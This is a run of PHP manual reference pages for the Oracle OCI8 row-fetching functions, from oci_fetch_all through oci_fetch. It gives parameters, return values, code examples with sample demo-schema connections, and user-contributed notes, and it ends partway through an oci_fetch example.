int oci_fetch_all ( resource $statement , array &$output [, int $skip = 0 [, int $maxrows = -1 [, int $flags = OCI_FETCHSTATEMENT_BY_COLUMN + OCI_ASSOC ]]] )

Fetches multiple rows from a query into a two-dimensional array. By default, all rows are returned.

This function can be called only once for each query executed with oci_execute().

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

output

The variable to contain the returned rows.

LOB columns are returned as strings, where Oracle supports conversion.

See oci_fetch_array() for more information on how data and types are fetched.

skip

The number of initial rows to discard when fetching the result. The default value is 0, so the first row onwards is returned.

maxrows

The number of rows to return. The default is -1 meaning return all the rows from skip + 1 onwards.

flags

Parameter flags indicates the array structure and whether associative arrays should be used.

oci_fetch_all() Array Structure Modes
Constant | Description
OCI_FETCHSTATEMENT_BY_ROW | The outer array will contain one sub-array per query row.
OCI_FETCHSTATEMENT_BY_COLUMN | The outer array will contain one sub-array per query column. This is the default.

Arrays can be indexed either by column heading or numerically. Only one index mode will be returned.

oci_fetch_all() Array Index Modes
Constant | Description
OCI_NUM | Numeric indexes are used for each column's array.
OCI_ASSOC | Associative indexes are used for each column's array. This is the default.

Use the addition operator "+" to choose a combination of array structure and index modes.

Oracle's default, non-case sensitive column names will have uppercase array keys. Case-sensitive column names will have array keys using the exact column case. Use var_dump() on output to verify the appropriate case to use for each query.

Queries that have more than one column with the same name should use column aliases. Otherwise only one of the columns will appear in an associative array.

Return Values

Returns the number of rows in output, which may be 0 or more, or FALSE on failure.

Examples

Example #1 oci_fetch_all() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// var_dump output is:
//    2 rows fetched
//    array(2) {
//      ["POSTAL_CODE"]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(6) "10934x"
//      }
//      ["CITY"]=>
//      array(2) {
//        [0]=>
//        string(4) "Roma"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

// Pretty-print the results
echo "<table border='1'>\n";
foreach ($res as $col) {
    echo "<tr>\n";
    foreach ($col as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_all() example with OCI_FETCHSTATEMENT_BY_ROW

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        ["POSTAL_CODE"]=>
//        string(6) "00989x"
//        ["CITY"]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
//        ["POSTAL_CODE"]=>
//        string(6) "10934x"
//        ["CITY"]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_all() with OCI_NUM

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW + OCI_NUM);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
//        [0]=>
//        string(6) "10934x"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

Using skip is very inefficient. All the rows to be skipped are included in the result set that is returned from the database to PHP. They are then discarded. It is more efficient to use SQL to restrict the offset and range of rows in the query. See oci_fetch_array() for an example.

Note:

Queries that return a large number of rows can be more memory efficient if a single-row fetching function like oci_fetch_array() is used.

Note:

For queries returning a large number of rows, performance can be significantly improved by increasing oci8.default_prefetch or using oci_set_prefetch().

Note:

Will not return rows from Oracle Database 12c Implicit Result Sets. Use oci_fetch_array() instead.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - Sets number of rows to be prefetched by queries

User Contributed Notes

eustaquiorangel at gmail dot com 20-Mar-2014 06:24
Beware that only numerically indexed results will be returned if
OCI_NUM is used.
david at boeke dot com 16-Dec-2003 07:17
The Skip and MaxRows parameters were not added until version 4.2.1.
Previous versions of php used this syntax:

           int ocifetchstatement ( resource stmt, array &output)

The function also took a third parameter that was not documented.  ( I assume that it was a flag)


Returns the next row from a query as an associative or numeric array

  • « oci_fetch_all
  • oci_fetch_assoc »
  • PHP Manual
  • OCI8 Functions
  • Returns the next row from a query as an associative or numeric array

oci_fetch_array

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_array — Returns the next row from a query as an associative or numeric array

Description

array oci_fetch_array ( resource $statement [, int $mode ] )

Returns an array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

If statement corresponds to a PL/SQL block returning Oracle Database 12c Implicit Result Sets, then rows from all sets are consecutively fetched. If statement is returned by oci_get_implicit_resultset(), then only the subset of rows for one child query are returned.

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Can also be a statement identifier returned by oci_get_implicit_resultset().

mode

An optional second parameter can be any combination of the following constants:

oci_fetch_array() Modes
Constant | Description
OCI_BOTH | Returns an array with both associative and numeric indices. This is the same as OCI_ASSOC + OCI_NUM and is the default behavior.
OCI_ASSOC | Returns an associative array.
OCI_NUM | Returns a numeric array.
OCI_RETURN_NULLS | Creates elements for NULL fields. The element values will be a PHP NULL.
OCI_RETURN_LOBS | Returns the contents of LOBs instead of the LOB descriptors.

The default mode is OCI_BOTH.

Use the addition operator "+" to specify more than one mode at a time.

Return Values

Returns an array with associative and/or numeric indices. If there are no more rows in the statement then FALSE is returned.

By default, LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase associative indices in the result array. Case-sensitive column names will have array indices using the exact column case. Use var_dump() on the result array to verify the appropriate case to use for each query.

The table name is not included in the array index. If your query contains two different columns with the same name, use OCI_NUM or add a column alias to the query to ensure name uniqueness, see example #7. Otherwise only one column will be returned via PHP.

Examples

Example #1 oci_fetch_array() with OCI_BOTH

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_BOTH)) != false) {
    // Use the uppercase column names for the associative array indices
    echo $row[0] . " and " . $row['DEPARTMENT_ID']   . " are the same<br>\n";
    echo $row[1] . " and " . $row['DEPARTMENT_NAME'] . " are the same<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_array() with OCI_NUM

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_NUM)) != false) {
    echo $row[0] . "<br>\n";
    echo $row[1]->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_array() with OCI_ASSOC

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION']->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_fetch_array() with OCI_RETURN_NULLS

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC)) != false) { // Ignore NULLs
    var_dump($row);
}

/*
The above code prints:
  array(1) {
    [1]=>
    string(1) "1"
  }
*/

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) { // Fetch NULLs
    var_dump($row);
}

/*
The above code prints:
  array(2) {
    [1]=>
    string(1) "1"
    ["NULL"]=>
    NULL
  }
*/

?>

Example #5 oci_fetch_array() with OCI_RETURN_LOBS

<?php

/*
  Before running, create the table:
      CREATE TABLE mytab (id NUMBER, description CLOB);
      INSERT INTO mytab (id, description) values (1, 'A very long string');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) != false) {
    echo $row['ID'] . "<br>\n";
    echo $row['DESCRIPTION'] . "<br>\n"; // this contains all of DESCRIPTION
    // In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
    unset($row);
}

// Output is:
//    1
//    A very long string

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 oci_fetch_array() with case sensitive column names

<?php

/*
   Before running, create the table:
      CREATE TABLE mytab ("Name" VARCHAR2(20), city VARCHAR2(20));
      INSERT INTO mytab ("Name", city) values ('Chris', 'Melbourne');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

// Because 'Name' was created as a case-sensitive column, that same
// case is used for the array index.  However uppercase 'CITY' must
// be used for the case-insensitive column index
print $row['Name'] . "<br>\n";   //  prints Chris
print $row['CITY'] . "<br>\n";   //  prints Melbourne

oci_free_statement($stid);
oci_close($conn);

?>

Example #7 oci_fetch_array() with columns having duplicate names

<?php

/*
  Before running, create the tables:
      CREATE TABLE mycity (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycity (id, name) values (1, 'Melbourne');
      CREATE TABLE mycountry (id NUMBER, name VARCHAR2(20));
      INSERT INTO mycountry (id, name) values (1, 'Australia');
      COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT mycity.name, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Output only contains one "NAME" entry:
//    array(1) {
//      ["NAME"]=>
//      string(9) "Australia"
//    }

// To query a repeated column name, use an SQL column alias like "AS ctnm":
$sql = 'SELECT mycity.name AS ctnm, mycountry.name
        FROM mycity, mycountry
        WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Output now contains both columns selected:
//    array(2) {
//      ["CTNM"]=>
//      string(9) "Melbourne"
//      ["NAME"]=>
//      string(9) "Australia"
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 oci_fetch_array() with DATE columns

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Set the date format for this connection.
// For performance reasons, consider changing the format
// in a trigger or with environment variables instead
$stid = oci_parse($conn, "ALTER SESSION SET NLS_DATE_FORMAT = 'YYYY-MM-DD'");
oci_execute($stid);

$stid = oci_parse($conn, 'SELECT hire_date FROM employees WHERE employee_id = 188');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
echo $row['HIRE_DATE'] . "<br>\n";  // prints 1997-06-14

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 oci_fetch_array() with REF CURSOR

<?php
/*
  Create the PL/SQL stored procedure as:

  CREATE OR REPLACE PROCEDURE myproc(p1 OUT SYS_REFCURSOR) AS
  BEGIN
    OPEN p1 FOR SELECT * FROM all_objects WHERE ROWNUM < 5000;
  END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'BEGIN myproc(:rc); END;');
$refcur = oci_new_cursor($conn);
oci_bind_by_name($stid, ':rc', $refcur, -1, OCI_B_CURSOR);
oci_execute($stid);

// Execute the returned REF CURSOR and fetch from it like a statement identifier
oci_execute($refcur);
echo "<table border='1'>\n";
while (($row = oci_fetch_array($refcur, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($refcur);
oci_free_statement($stid);
oci_close($conn);

?>

Example #10 Pagination with oci_fetch_array() using a LIMIT-like query

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Find the version of the database
preg_match('/Release ([0-9]+)\./', oci_server_version($conn), $matches);
$oracleversion = $matches[1];

// This is the query you want to "page" through
$sql = 'SELECT city, postal_code FROM locations ORDER BY city';

if ($oracleversion >= 12) {
    // Make use of Oracle 12c OFFSET / FETCH NEXT syntax
    $sql = $sql . ' OFFSET :offset ROWS FETCH NEXT :numrows ROWS ONLY';
} else {
    // Older Oracle versions need a nested query selecting a subset
    // from $sql.  Or, if the SQL statement is known at development
    // time, consider using a row_number() function instead of this
    // nested solution.  In production environments, be careful to
    // avoid SQL Injection issues with concatenation.
    $sql = "SELECT * FROM (SELECT a.*, ROWNUM AS my_rnum
                           FROM ($sql) a
                           WHERE ROWNUM <= :offset + :numrows)
            WHERE my_rnum > :offset";
}

$offset  = 0;  // skip this many rows
$numrows = 5;  // return 5 rows
$stid = oci_parse($conn, $sql);
oci_bind_by_name($stid, ':numrows', $numrows);
oci_bind_by_name($stid, ':offset', $offset);
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) != false) {
    echo $row['CITY'] . " " . $row['POSTAL_CODE'] . "<br>\n";
}

// Output is:
//    Beijing 190518
//    Bern 3095
//    Bombay 490231
//    Geneva 1730
//    Hiroshima 6823

oci_free_statement($stid);
oci_close($conn);

?>

Example #11 oci_fetch_array() with Oracle Database 12c Implicit Result Sets

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Requires OCI8 2.0 and Oracle Database 12c
// Also see oci_get_implicit_resultset()
$sql = 'DECLARE
           c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Note: oci_fetch_all and oci_fetch() cannot be used in this manner
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

// Output is:
//    Beijing 190518
//    Bern    3095
//    Bombay  490231
//    CN
//    CH
//    IN

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

Associative array indices need to be in uppercase for standard Oracle columns that were created with case insensitive names.

Note:

For queries returning a large number of rows, performance can be significantly improved by increasing oci8.default_prefetch or using oci_set_prefetch().

Note:

The function oci_fetch_array() is insignificantly slower than oci_fetch_assoc() or oci_fetch_row(), but is more flexible.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - Sets number of rows to be prefetched by queries

User Contributed Notes

Maxwell_Smart at ThePentagon dot com 09-Aug-2002 09:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
junk at netburp dot com 19-Oct-2000 11:39
Here's a clue about rowid.

Don't forget about the oracle functions:

"rowidtochar" and "chartorowid"

"select rowidtochar(rowid) as FOO from table ...."

When you want to pass the rowid in a form or link, that's
the only way to go.


Returns the next row from a query as an associative array

  • « oci_fetch_array
  • oci_fetch_object »
  • PHP Manual
  • OCI8 Functions
  • Returns the next row from a query as an associative array

oci_fetch_assoc

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_assoc — Returns the next row from a query as an associative array

Description

array oci_fetch_assoc ( resource $statement )

Returns an associative array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

Calling oci_fetch_assoc() is identical to calling oci_fetch_array() with OCI_ASSOC + OCI_RETURN_NULLS.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns an associative array. If there are no more rows in the statement then FALSE is returned.

Examples

Example #1 oci_fetch_assoc() Example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_assoc($stid)) != false) {
    echo $row['DEPARTMENT_ID'] . " " . $row['DEPARTMENT_NAME'] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

See oci_fetch_array() for more examples of fetching rows.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

Dawid Krysiak 03-Jan-2014 10:31
Unlike oci_fetch_all(), after using oci_fetch_assoc(), LOB columns (CLOB, BLOB) are NOT returned as strings but as Oci-Lob objects. You have to use Oci-Lob->read() or load() method in order to read column content.
dbernhardt129 at gmail dot com 06-Oct-2010 11:11
Here's a simple example of using the oci_fetch_assoc function for anyone who would like to see it.

<?php
$oconn = oci_connect('ora_user','ora_pass','ora_inst');
if (!$oconn){
  $msg = "Cannot connect to Oracle ".oci_error();
} else {
  $msg = "Connected to Oracle";
}

$select_stmt = "select username from user_table";

$stid = oci_parse($oconn, $select_stmt);
oci_execute($stid);

echo "<table border='1'>\n";

while ($row = oci_fetch_assoc($stid)) {
    echo "<tr>\n";
    echo "<td>". $row["USERNAME"] . "</td>\n";
    echo "</tr>\n";
 }

echo "</table>\n";

oci_free_statement($stid);
oci_close($oconn);
?>

Make sure you capitalize the column name for referencing the item in the associative array.  Of course, this is just a simple example and you might want to do some processing on the data prior to output, but you get the idea here.


Returns the next row from a query as an object

  • « oci_fetch_assoc
  • oci_fetch_row »
  • PHP Manual
  • OCI8 Functions
  • Returns the next row from a query as an object

oci_fetch_object

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_object — Returns the next row from a query as an object

Description

object oci_fetch_object ( resource $statement )

Returns an object containing the next result-set row of a query. Each attribute of the object corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns an object. Each attribute of the object corresponds to a column of the row. If there are no more rows in the statement then FALSE is returned.

Any LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase attribute names. Case-sensitive column names will have attribute names using the exact column case. Use var_dump() on the result object to verify the appropriate case for attribute access.

Attribute values will be NULL for any NULL data fields.

Examples

Example #1 oci_fetch_object() example

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, description VARCHAR2(30));
    INSERT INTO mytab (id, description) values (1, 'Fish and Chips');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    // Use upper case attribute names for each standard Oracle column
    echo $row->ID . "<br>\n";
    echo $row->DESCRIPTION . "<br>\n";
}

// Output is:
//    1
//    Fish and Chips

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_object() with case sensitive column names

<?php

/*
  Before running, create the table with a case sensitive column name:
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, "MyDescription" FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    // Use upper case attribute names for each standard Oracle column
    echo $row->ID . "<br>\n";
    // Use the exact case for the case sensitive column name
    echo $row->MyDescription . "<br>\n";
}

// Output is:
//    1
//    Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_object() with LOBs

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, description CLOB);
    INSERT INTO mytab (id, description) values (1, 'A very long string');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_object($stid)) != false) {
    echo $row->ID . "<br>\n";
    // The following will output the first 11 bytes from DESCRIPTION
    echo $row->DESCRIPTION->read(11) . "<br>\n";
}

// Output is:
//    1
//    A very long

oci_free_statement($stid);
oci_close($conn);

?>

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_row() - Returns the next row from a query as a numeric array

User Contributed Notes

juanloman at hilfetech dot com 08-May-2012 05:33
Please note that you can still reference a column that has a very complex name by using the curly syntax as shown in this example:

<?php

$queryStr = 'SELECT COUNT(*) FROM FOOBAR';  //Complex name!
  // parse and exec...
$queryObj = oci_fetch_object($quertStmt);

echo 'Count: ' . $queryObj->{'COUNT(*)'};  //Curly syntax reference

?>


Returns the next row from a query as a numeric array

  • « oci_fetch_object
  • oci_fetch »
  • PHP Manual
  • OCI8 Functions
  • Returns the next row from a query as a numeric array

oci_fetch_row

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_row — Returns the next row from a query as a numeric array

Description

array oci_fetch_row ( resource $statement )

Returns a numerically indexed array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns FALSE, indicating no more rows exist.

Calling oci_fetch_row() is identical to calling oci_fetch_array() with OCI_NUM + OCI_RETURN_NULLS.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns a numerically indexed array. If there are no more rows in the statement then FALSE is returned.

Examples

Example #1 oci_fetch_row() Example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_row($stid)) != false) {
    echo $row[0] . " " . $row[1] . "<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

See oci_fetch_array() for more examples of fetching rows.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object

User Contributed Notes

There are no user contributed notes for this page.


Fetches the next row from a query into internal buffers

  • « oci_fetch_row
  • oci_field_is_null »
  • PHP Manual
  • OCI8 Functions
  • Fetches the next row from a query into internal buffers

oci_fetch

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch — Fetches the next row from a query into internal buffers

Description

bool oci_fetch ( resource $statement )

Fetches the next row from a query into internal buffers accessible either with oci_result(), or by using variables previously defined with oci_define_by_name().

See oci_fetch_array() for general information about fetching data.

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

Return Values

Returns TRUE on success or FALSE if there are no more rows in the statement.

Examples

Example #1 oci_fetch() with defined variables

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// Displays:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch() with oci_result()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (oci_fetch($stid)) {
    echo oci_result($stid, 'LOCATION_ID') . " is ";
    echo oci_result($stid, 'CITY') . "<br>\n";
}

// Displays:
//   1000 is Roma
//   1100 is Venice

oci_free_statement($stid);
